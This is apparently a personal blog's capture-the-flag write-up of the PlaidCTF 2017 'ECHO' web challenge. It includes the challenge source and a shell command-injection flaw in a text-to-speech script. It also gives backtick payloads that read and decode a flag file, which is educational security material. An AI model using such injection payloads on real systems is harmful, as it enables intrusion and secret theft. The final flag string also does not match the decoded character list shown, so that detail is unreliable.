Virink's Blog logo

Virink's Blog

Let life be beautiful like summer flowers, and death like autume leaves.

 PCTF2017-web-ECHO

Challenge ECHO

Web (200 pts)
If you hear enough, you may hear the whispers of a key...
If you see app.py well enough, you will notice the UI sucks...

http://echo.chal.pwning.xxx:9977/
http://echo2.chal.pwning.xxx:9977/

Fuck it

app.py

from flask import render_template, flash, redirect, request, send_from_directory, url_for
import uuid
import os
import subprocess
import random

cwd = os.getcwd()
tmp_path = "/tmp/echo/"
serve_dir = "audio/"
docker_cmd = "docker run -m=100M --cpu-period=100000 --cpu-quota=40000 --network=none -v {path}:/share lumjjb/echo_container:latest python run.py"
convert_cmd = "ffmpeg -i {in_path} -codec:a libmp3lame -qscale:a 2 {out_path}"

MAX_TWEETS = 4
MAX_TWEET_LEN = 140

from flask import Flask
app = Flask(__name__)
flag = "PCTF{XXXXXXX...XXXXXXXX}"

if not os.path.exists(tmp_path):
    os.makedirs(tmp_path)

def process_flag (outfile):
    with open(outfile,'w') as f:
        for x in flag:
            c = 0
            towrite = ''
            for i in range(65000 - 1):
                k = random.randint(0,127)
                c = c ^ k
                towrite += chr(k)
            f.write(towrite + chr(c ^ ord(x)))
    return

def process_audio (path, prefix, n):
    target_path = serve_dir + prefix
    if not os.path.exists(target_path):
        os.makedirs(target_path)

    for i in range(n):
        st = os.stat(path + str(i+1) + ".wav")
        if st.st_size < 5242880:
            subprocess.call (convert_cmd.format(in_path=path + str(i+1) + ".wav",out_path=target_path + str(i+1) + ".wav").split())


@app.route('/audio/<path:path>')
def static_file(path):
    return send_from_directory('audio', path)

@app.route("/listen",methods=['GET', 'POST'])
def listen_tweets():
    n = int(request.args['n'])
    my_uuid = request.args['my_uuid']

    if n > MAX_TWEETS:
        return "ERR: More than MAX_TWEETS"

    afiles = [my_uuid + "/" + str(i+1) + ".wav" for i in range(n)]
    return render_template('listen.html', afiles = afiles)

@app.route("/",methods=['GET', 'POST'])
def read_tweets():
    t1 = request.args.get('tweet_1')
    if t1:
        tweets = []
        for i in range(MAX_TWEETS):
            t = request.args.get('tweet_' + str(i+1))
            if len(t) > MAX_TWEET_LEN:
                return "ERR: Violation of max tween length"
            if not t:
                break
            tweets.append(t)

        my_uuid = uuid.uuid4().hex
        my_path = tmp_path + my_uuid + "/"

        if not os.path.exists(my_path):
                os.makedirs(my_path)

        with open(my_path + "input" ,"w") as f:
            f.write('\n'.join(tweets))

        process_flag(my_path + "flag")

        out_path = my_path + "out/"
        if not os.path.exists(out_path):
            os.makedirs(out_path)

        subprocess.call(docker_cmd.format(path=my_path).split())
        process_audio(out_path, my_uuid + '/', len(tweets))

        return redirect(url_for('.listen_tweets', my_uuid=my_uuid, n=len(tweets)))

    else:
        return render_template('form.html')

if __name__ == "__main__":
    app.run(threaded=True)

form.html

<h2>Tweets are 140 characters only! </h2> <br><br>
<form name="read_tweets" method="get">
    Tweet 1: <input type="text" name="tweet_1" size="140" \> <BR> <BR>
    Tweet 2: <input type="text" name="tweet_2" size="140" \> <BR> <BR> 
    Tweet 3: <input type="text" name="tweet_3" size="140" \> <BR> <BR>
    Tweet 4: <input type="text" name="tweet_4" size="140" \> <BR> <BR>
    <input type="submit" value="Submit">
</form>

listen.html

<!DOCTYPE html>
<html>
<body>
<h2>Tweet 1</h2>
{% for i in afiles %}
<audio controls>
    <source src="/audio/{{ i }}" type="audio/wav"> 
Your browser does not support the audio element.
</audio>
<br><br>
{% endfor %}
</body>
</html>

看起來啥問題都沒有,然而有一隻外來的容器

docker pulll lumjjb/echo_container:latest

下載下來,擼出裡面的run.py

run.py

import sys
from subprocess import call
import signal
import os

def handler(signum, frame):
    os._exit(-1)

signal.signal(signal.SIGALRM, handler)
signal.alarm(30)

INPUT_FILE="/share/input"
OUTPUT_PATH="/share/out/"

def just_saying (fname):
    with open(fname) as f:
        lines = f.readlines()
        i=0
        for l in lines:
            i += 1
            if i == 5:
                break
            l = l.strip()
            # Do TTS into mp3 file into output path
            call(["sh","-c","espeak " + " -w " + OUTPUT_PATH + str(i) + ".wav \"" + l + "\""])
def main():
    just_saying(INPUT_FILE)

if __name__ == "__main__":
    main()

然後,我瞅見漏洞了你瞅見沒?

妥妥的命令注入

call(["sh","-c","espeak " + " -w " + OUTPUT_PATH + str(i) + ".wav \"" + l + "\""])

可控點就是l也就是我們提交的Tweet

當然沒那麼簡單就讓你拿到flag文件,這玩意兒就是一個TTS,語音文件還得經過ffmpeg轉碼。

同時,docker容器還不聯網,各種測試后發現只能把flag字符串轉語音才能傳出來。

Tweet有長度限制,140位,一次最多還只能提交4個。因為加密后的flag文件略大(2m),需要遠程解密然後再傳送回來。

Payload

讀取flag字符串第N位

`python -c "print [i+' ' for i in str(reduce(lambda x, y: x ^ y,[ord(j) for j in open('/share/flag').read()[65000*(n):(n+1)*65000]]))]"`

讀取flag字符串長度

`python - c "print [i+' ' for i in str(len(open('/share/flag').read()))]"`

因為flag格式為PCTF{xxxxx},所以我們需要讀取5﹣36位的flag

x = [80, 67, 84, 70, 123, 76, 49, 53, 115, 116, 51, 110, 95, 84, 48, 95, 95, 114, 101, 101,
 101, 95, 114, 101, 101, 101, 101, 101, 101, 95, 114, 101, 101, 101, 95, 108, 97, 125]
print ''.join(chr(i) for i in x)

MDZZ

我一定是玩了假的CTF,感覺像是考英語聽力。。。

Flag

PCTF{L15st3nT0reeereeeeeereeela}

本文标题 : PCTF2017-web-ECHO
文章作者 : Virink
发布时间 :  
最后更新 :  
本文链接 : https://www.virzz.com/2017/04/22/pctf_2017_web_echo.html
转载声明 : 转载请保留原文链接及作者。
转载说明 : 本卡片有模板生成,本人转载来的文章请忽略~~